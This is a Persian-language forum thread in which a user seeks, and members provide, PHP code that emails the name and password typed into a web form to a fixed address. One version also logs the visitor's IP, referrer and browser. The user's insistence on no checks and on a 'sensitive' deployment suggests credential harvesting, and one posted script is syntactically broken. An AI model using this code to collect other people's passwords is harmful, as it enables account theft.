rasivell 352 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 سلام به استاتید محترمدوستان عزیز ، من نیاز به یه فرم ساده دارم که 2 تا داده و یا مقدار رو از کاربر بگیره و اون رو ایمیل کنه به ایمیلی از پیش تایین شدهمن یه فرم طراحی کردم یه فرم خیلی ساده با HTML میخوام این فرم رو رو هاست قرار بدم ! توی این فرم ساده از کاربر تو قسمت اول یه اسم خواسته میشه و تو قسمت دوم یه رمز! بعد دکمه ارسال رو که میزنه ، اون 2 تا مقداری که کاربر وارد کرده یعنی اسم و رمز ، به یه ایمیل بفرسته ، حالا هر ایمیلی که باشه. فکر نکنم کار پیچیده ای باشه و ساده است ممنون میشم اگر یکی زحمتش رو بکشهلطفا به فایل ساده اچ تی ام ال من نگاه کنید من دقیقا روی همین فایل میخوام که کد مربوطه نوشته بشه به همین سادگیفقط دوستان عزیز من یکی دوبار با چند راه مختلف تست کردن نشده! ممنون میشم اگر بعد از اینکه نوشتید این کد رو یه تست هم بفرمایید که درست باشه. و اینکه بعد از ارسال ایمیله یه متن نشون بده مثلا بگه ارسال شدفایل رو پیوست کردممتشکرindex.html نقل قول لینک به ارسال
nikanwp 629 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 صبر براتون php میکنم پیوست میکنم 1 نقل قول لینک به ارسال
nikanwp 629 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 (ویرایش شده) بفرمایید index.phpindex.zipبعد از دانلود با یک ویرایشگر باز کن لاین 8 ایمیل خودتون جایگزین کن جای : $to = "progpars@yahoo.com"; ویرایش شده مرداد 91 توسط progpars 4 نقل قول لینک به ارسال
rasivell 352 ارسال شده در مرداد 91 مالک گزارش بازنشر ارسال شده در مرداد 91 سلا متشکر که وقت گذاشتید ولی این نوع فرم توی انجمن بود من یه نوع دیگه میخوام...ببینید ! من نمیخوام که توی دستوراتش چک کنه اگر خالی بود بیاد فرم رو نشون بده و یا اگر خالی نبود بیاد پیام ارسال شد رو نشون بده وتشکر کنه!میخوام یه فایل PHP جدا باشه که هیچ دستور شریط و.. نداشته باشه اصلا کاری نداشته باشه که فرم ها پر هستن و یا خالی و یا ..... فقط کارش دریافت پارامتر و ارسالش باشهو اون رو الصاق کنم به این صفحه HTML خودم! یعنی 2 تا فایل جدا باشن نه اینکه یه فایل که توش همه این کد ها باشه و بیاد چک کنه ایا فرم خالیه و یا نه و ..... هیچی چک نکنه! فقط کار اون فایل PHP این بازی که ارسال کنه همین! و جدا باشن از همالبته اگر بشه جدا باشن و چک بکنه که بدک نیست ولی من میخوام پیچیدگی نداشته باشه! من این فرم رو میخوام که روی یه مکان فوق العاده حساس پیادش کنم برای همینه که میگم ساده باشه تا اذیت نکنه ! میخوام بدونم چطوری میشه 2 تا پارامتر رو گرفت و با پی اچ پی ایمیلش کرد! کد شما هرچی که باشه من میخوام اونی که خودم نیاز دارم ازش بردارم 1 نقل قول لینک به ارسال
Morteza 34190 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 یک مثال خیلی ساده برای دریافت از فرم:در فایل html<form method="post" action="send.php"> <input type="text" value="" name="field"> <input type="submit" value="submit"></form>در فایل send.php<?php $field = $_POST['field']; echo $field;?> 2 نقل قول لینک به ارسال
rasivell 352 ارسال شده در مرداد 91 مالک گزارش بازنشر ارسال شده در مرداد 91 متشکرم ولی توی این کد شما حرفی از ایمیل نزده شده! من میخوام توی فایلی که تو پست اول ضمیمه کردم یکی تو یه فایل جدای پی اچ پی بهش دستور ارسال اون فرم رو به یه ایمیل بده نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 <form method="post" action="sendeail.php"><!-- DO NOT change ANY of the php sections --><?php$ipi = getenv("REMOTE_ADDR");$httprefi = getenv ("HTTP_REFERER");$httpagenti = getenv ("HTTP_USER_AGENT");?><input type="hidden" name="ip" value="<?php echo $ipi ?>" /><input type="hidden" name="httpref" value="<?php echo $httprefi ?>" /><input type="hidden" name="httpagent" value="<?php echo $httpagenti ?>" /><label>نام : <input type="text" name="visitor" size="50" /></label><label>پسورد : <input type="text" name="visitorpass" size="50" /></label> <input type="submit" value="Submit" /> </form>کد فرمتونه جای اون صفحه ی html یا داخل یم فایل بگذارید یا جداگانه در فرمت php ذخیره کنید<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Sendemail Script</title></head><body><!-- Reminder: Add the link for the 'next page' (at the bottom) --><!-- Reminder: Change 'YourEmail' to Your real email --><?php$ip = $_POST['ip'];$httpref = $_POST['httpref'];$httpagent = $_POST['httpagent'];$visitor = $_POST['visitor'];$visitorpass = $_POST['visitorpass'];if(empty($visitor) || empty($visitorpass)) {echo "<h2>خطا! تمام خانه ها تکمیل نشده اند</h2>\n";die ("خطا! ! ");}$todayis = date("l, F j, Y, g:i a") ;Name: $visitor\nPass: $visitorpass\nAdditional Info : IP = $ip \nBrowser Info: $httpagent \nReferral : $httpref \n";$from = "From: EXAMPLE1@mail.com\r\n";mail("YourEmail@domain.com", $subject, $message, $from);?><p align="center">تاریخ: <?php echo $todayis ?><br />با تشکر دوست عزیز :<br />نام <?php echo $visitor ?><br />پسورد :<?php echo $visitorpass ?><br /><br /><?php echo $ip ?>ارسال شد</p></body></html>این کدها را هم با نام sendeail.php ذخیره کنیدآدرس کامل محل این فایل را در کد های قبل و جای action="sendeail.php" در حط اول بگذاریددر این کدها شما به دو آدرس ایمیل احتیاج دارید که یکی فرستنده و دیگری گیرنده است (چون نمی خواهید ایمیل بگیرید) پس هر دو را باید خودتان معرفی کنید یکی را بجای EXAMPLE1@mail.com و ایمیل خودتان که گیرنده اید را بجای YourEmail@domain.com قرار دهید type password قابل خواندن نیست تایپ هر دو اینپوت را text گذاشتم و نام یکی را پسورد یعنی به صورت ستاره ای نمی نویسد 2 نقل قول لینک به ارسال
rasivell 352 ارسال شده در مرداد 91 مالک گزارش بازنشر ارسال شده در مرداد 91 دوست گلم این یه کد اماده است که از یه وب دیگه برداشته شده! اصلا اینا چیزی نیست که من نیاز دارم! نمیخواد که اصلا چک کنه که تو فیلد چیزی هست ، نیست و..! شما این کد رو از یه وبلاگ برداشتید که قبلا من خودمم دیده بودمش!من فقط از یه برنامه نویس PHP میخوام یه کد خیلی خیلی خیلی ساده بنویسه برای ارسال اطلاعات اون فایلی که توی پست اولم الصاق کردم! ، نمیخوام چک بشه که اطلاعات هست یا نه ، نمیخوام هیچ دستور ایف و یا شرطی باشه! فقط اینکه یه فایل جدای PHP باشه که به اون فایل من وصل بشه وقتی دکمه رو زدی اطلاعات رو به یک ایمیل ارسال کنه به سادگی سادگی سادگی ! اصلا نیازی نیست چک کننده ای باشه که چک کنه ایا اطلاعات هست تو فیلدا یا نیست و....درخواست من خیلی ساده و روشنه نمیدونم چرا کسی متوجه اون نمیشه! نقل قول لینک به ارسال
Parsa 23463 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 کدی که آقا ایمان دادن PHP هست و دقیقا همین کاررو میکنهhttp://php.net/manua...nction.mail.phphttp://www.w3schools...hp/php_mail.asp 2 نقل قول لینک به ارسال
rasivell 352 ارسال شده در مرداد 91 مالک گزارش بازنشر ارسال شده در مرداد 91 ای وای !! اره میدونم ولی ایا کسی به درخواست من توجه میکنه؟؟؟ عزیز من دوستان گلم این کدی که شما ها میدید خیلی خیلی خیلی پیچیده است میدونم پی اچ پیه! ما C++ کار کردیم کد هارو میشناسیم ولی الان PHP لازم داریم و توش گیر کردیم همین! این کدی که شماها دارید میدید یه کدیه که میاد تست میکنه ایا فیلد ها پره یا نه اگر پر بود یه کاری کنه اگر نبود یه کار دیگه!!!من اینارو نمیخوام ! من یه کد ساده میخوام که فقط اون مقادیر فایل خودم رو ارسال کنه دیگه چک نکنه که ایا پره یا نه! من میدونم دیگه این دوستان همه رفتن دارن توی گوگل سرچ میکنن این کد هارو میدن میخواید ادرس صفحاتی رو که این کد اقا ایمان و اون دوست دیگه مون دادن رو بهتون بدم که از کدوم وبلاگ برداشتن؟؟؟ من میخوام خودتون فایل اول من رو دانلود کنید یه چند خط کد ساده سادسه ساده ساده ساده ساده بنویسید که هیچ دستور شرطی نداشته باشه فقط ایمیل ارسال کنه که حاوی اون دوتا فیلد ورودی باشه! بابا خیلی ساده به خدا من PHP کار نکردم به خدا 4 دقیقه کار نداره نوشتنش! کارمون لنگ این کده نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 ای وای !! اره میدونم ولی ایا کسی به درخواست من توجه میکنه؟؟؟ عزیز من دوستان گلم این کدی که شما ها میدید خیلی خیلی خیلی پیچیده است میدونم پی اچ پیه! ما C++ کار کردیم کد هارو میشناسیم ولی الان PHP لازم داریم و توش گیر کردیم همین! این کدی که شماها دارید میدید یه کدیه که میاد تست میکنه ایا فیلد ها پره یا نه اگر پر بود یه کاری کنه اگر نبود یه کار دیگه!!!من اینارو نمیخوام ! من یه کد ساده میخوام که فقط اون مقادیر فایل خودم رو ارسال کنه دیگه چک نکنه که ایا پره یا نه! من میدونم دیگه این دوستان همه رفتن دارن توی گوگل سرچ میکنن این کد هارو میدن میخواید ادرس صفحاتی رو که این کد اقا ایمان و اون دوست دیگه مون دادن رو بهتون بدم که از کدوم وبلاگ برداشتن؟؟؟ من میخوام خودتون فایل اول من رو دانلود کنید یه چند خط کد ساده سادسه ساده ساده ساده ساده بنویسید که هیچ دستور شرطی نداشته باشه فقط ایمیل ارسال کنه که حاوی اون دوتا فیلد ورودی باشه! بابا خیلی ساده به خدا من PHP کار نکردم به خدا 4 دقیقه کار نداره نوشتنش! کارمون لنگ این کدهدوست عزیز شما یه کد می خوای یه روزنامه می نویسی چطوری انتظار داری با یه خط کد کارت حل شهاین قسمت رو از کد بالا حذف کنif(empty($visitor) || empty($visitorpass)) {echo "<h2>خطا! تمام خانه ها تکمیل نشده اند</h2>\n";die ("خطا! ! ");}در ضمن کد تماس با ما مال هیچ وبلاگی یا شخصی نیستدر دنیای اوپن سورس هیچ کدی مالکیت فردی نداره و هر وبلاگی این کد را داره اون هم مثل من از گوشه ی دفترچه یادداشتش برداشته و ببخشید اگر من نمی دونستم شما چه وبلاگ هایی رفتید و چه کدهایی رو خوندیدبهر حال اگر تقاضاتون اتفاقی غیر تکراری در php باشه باید با سابت php.net تماس بگیرید و گرنه اینگونه کدها در همه جا همین شکلی هاست 1 نقل قول لینک به ارسال
rasivell 352 ارسال شده در مرداد 91 مالک گزارش بازنشر ارسال شده در مرداد 91 (ویرایش شده) اخه چیکار کنم شما حتی به خودت زحمت نگاه کردن فایل اول من رو نمیدی! شما نمیخوای متوجه این مساله باشی که من میخوام فایل خودم که الصاق کردم با فایل ارسال کننده ایمیل جدا باشه همین!من یه فایل دارم که تو اولین پست این تاپیک گذاشتم! یه فایل خارجی یعنی اکسترنال PHP میخوام که اون فایل من رو ارسال کنه! حالا اگر شما واقعا این مساله به این سادگی رو متوجه شدید بسم االله و ببینید اونی که شما دادی و باز داری تکرارش میکنی چقدر با اونی که ما میخوایم تفاوت داره!درضمن این فرم تماس با ما نیست من این رو برای کار دیگه ای میخوام و ربطی به وردپرس و... نداره و برای همین تو قسمت PHP سوالم رو نوشتم! ویرایش شده مرداد 91 توسط rasivell نقل قول لینک به ارسال
rasivell 352 ارسال شده در مرداد 91 مالک گزارش بازنشر ارسال شده در مرداد 91 دوستان زحمت نکشید! رفتم تو خود سایت PHP به یه نتیجه هایی رسیدم و خودم یه فایل اونطوری که میخواستم نوشتم ولی یه مشکلی داره و اونم اینه که مقدادیری که توی فرمه منه رو ارسال نمیکنه! یعنی ایمیل میاد ولی بجای اینکه اون 2 تا فیلد من رو اسال کرده باشه ! یه پیغام ارسال میکنه Pass همین!فایل من:http://uploadfa.net/uploads/13446705821.rar نقل قول لینک به ارسال
Morteza 34190 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 خوب درسته دیگه. شما توی متغییر message فقط دارید یک مقدار ورودی میریزید. آدرس ایمیل طرف رو هم که در ورودی اول میگیرید.حالا چیزی که پیوست کردم رو چک کنید.rasivell.rar 1 نقل قول لینک به ارسال
rasivell 352 ارسال شده در مرداد 91 مالک گزارش بازنشر ارسال شده در مرداد 91 (ویرایش شده) متشكرم...اين ارور رو داد:Parse error: syntax error, unexpected T_VARIABLE in بعد در ادامه اشاره كرده بود به محل فايل در سرور و اخرشم كد زير رو داشت نشون ميداد:/send.php on line 7به خط شماره 7 داره اشاره ميكنهمنم يه برسي كردم ديدم كه انتهاي خط 6 بسته نشده با سيمي كالن و بستمش درست شد! اين دقيقا همونيه كه من ميخواستم! خوب شد رفتم اين سايت PHP رو ديدم و تونستم لا اقل نصفه هم كه شده به فايل درخواستيم اشاره كنم تا مرتضي جان هم زحمت تكميلش رو بكشن!از دوستان متشكرم. مشكلم دقيقا حل شد.فقط مرتضي جان ، اگر اون قسمت رمز رو تايپش رو بزارم پسورد كه موقع تايپ ستاره اي نشون بده! ديگه نميتونه به صورت عدد به ايميل ارسال كنه درسته؟ ویرایش شده مرداد 91 توسط rasivell نقل قول لینک به ارسال
Morteza 34190 ارسال شده در مرداد 91 گزارش بازنشر ارسال شده در مرداد 91 نه مشکلی پیش نمیاد. بزارید روی حالت پسورد. نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .